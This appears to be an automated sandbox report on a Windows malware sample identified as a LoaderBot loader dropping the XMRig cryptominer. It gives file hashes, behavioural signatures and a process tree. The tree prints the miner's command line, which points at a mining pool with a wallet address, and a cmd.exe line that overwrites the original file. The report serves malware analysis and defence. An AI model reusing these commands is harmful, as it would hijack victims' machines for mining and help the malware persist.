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Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/09/2024, 20:33

General

  • Target

    f865b73f0c241f1e06baf7adf8b09469298c2db060c0fd89b884d05fd3c3ef1aN.exe

  • Size

    2.6MB

  • MD5

    2bd5bf1b3068159238df935056b1c280

  • SHA1

    6771dc9f94efba881939e829b1d1b979498fc3b8

  • SHA256

    f865b73f0c241f1e06baf7adf8b09469298c2db060c0fd89b884d05fd3c3ef1a

  • SHA512

    572f76d1933e69d7187508b23f9fcdc07e8514ff94dee15463ead28a0fdcffe1f97e7f84eb0283abd874d8b96f6bcd0bf321406fe5fac237b5b82df0f0fcaecb

  • SSDEEP

    49152:zF6hQEdu02QJxqJ6x7XjpSceD8D13F2Du8+rpRZLY6Qk9mP/U1Hf/sdyGdmIFTNN:zF8tdu09qJEXMceDSVE9+1RZLYG0P/Um

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 2 IoCs
  • XMRig Miner payload 13 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f865b73f0c241f1e06baf7adf8b09469298c2db060c0fd89b884d05fd3c3ef1aN.exe
    "C:\Users\Admin\AppData\Local\Temp\f865b73f0c241f1e06baf7adf8b09469298c2db060c0fd89b884d05fd3c3ef1aN.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2488
    • C:\Users\Admin\AppData\Local\Temp\system.exe
      "C:\Users\Admin\AppData\Local\Temp\system.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3728
      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 84pG1E7UKYvgbggJxjsMMQMKXFPdLCWknN17Fd2todfvLfRAC7psryqVBihgQfGHEidGgoh4G24xn8WeabSAzPYjS3h8zGH -p x -k -v=0 --donate-level=1 -t 4
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2684
      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 84pG1E7UKYvgbggJxjsMMQMKXFPdLCWknN17Fd2todfvLfRAC7psryqVBihgQfGHEidGgoh4G24xn8WeabSAzPYjS3h8zGH -p x -k -v=0 --donate-level=1 -t 4
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:5012
    • C:\Users\Admin\AppData\Local\Temp\Enotria.exe
      "C:\Users\Admin\AppData\Local\Temp\Enotria.exe"
      2⤵
      • Executes dropped EXE
      PID:3196
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c ping -n 3 127.0.0.1 & copy /Y "C:\Users\Admin\AppData\Local\Temp\Enotria.exe" "C:\Users\Admin\AppData\Local\Temp\f865b73f0c241f1e06baf7adf8b09469298c2db060c0fd89b884d05fd3c3ef1aN.exe" >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:3624
      • C:\Windows\SysWOW64\PING.EXE
        ping -n 3 127.0.0.1
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:4184
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=1996,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=1440 /prefetch:8
    1⤵
      PID:3240

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Enotria.exe

      Filesize

      285KB

      MD5

      0ce6fc9ca6df1b0401a23f42899b53d3

      SHA1

      826b92e448901cdaf22726e1c2418e3be2d5362f

      SHA256

      96dc1dc2f4210537bf1d8d7fbaca30342db6b9dc3c2cf23bdd71fe436e8e6f51

      SHA512

      47fadc3d69b789ff25baa47ca34d7f675bacb05182a82600b407cb5ae146fbab7d901e2162915a29aec770f742ce382956e6f4defda9036327bbac97915798b2

    • C:\Users\Admin\AppData\Local\Temp\system.exe

      Filesize

      4.0MB

      MD5

      c582001fd00152425fd1a4b9b0d7cf07

      SHA1

      f747b7074505e37b589b72e652778c59077c1151

      SHA256

      e9fca3db7f9c56f58cc1e28118c9897aa3cd0d2e052c62b3aed472bede51e467

      SHA512

      72e6993227acc1b5f4841bfe04030ec70d061ce3ac1512b93e05f9900445253f0ca71917469616210881c61f711aaae1f58eedbef8903e1627fc720f8283bcce

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • memory/2684-41-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/2684-43-0x0000000000510000-0x0000000000524000-memory.dmp

      Filesize

      80KB

    • memory/2684-44-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/3728-23-0x00000000734AE000-0x00000000734AF000-memory.dmp

      Filesize

      4KB

    • memory/3728-24-0x0000000000530000-0x000000000092E000-memory.dmp

      Filesize

      4.0MB

    • memory/3728-30-0x0000000005570000-0x00000000055D6000-memory.dmp

      Filesize

      408KB

    • memory/3728-31-0x00000000734A0000-0x0000000073C50000-memory.dmp

      Filesize

      7.7MB

    • memory/3728-47-0x00000000734AE000-0x00000000734AF000-memory.dmp

      Filesize

      4KB

    • memory/3728-48-0x00000000734A0000-0x0000000073C50000-memory.dmp

      Filesize

      7.7MB

    • memory/5012-50-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5012-49-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5012-51-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5012-52-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5012-53-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5012-54-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5012-55-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5012-56-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5012-57-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5012-58-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5012-59-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/5012-60-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB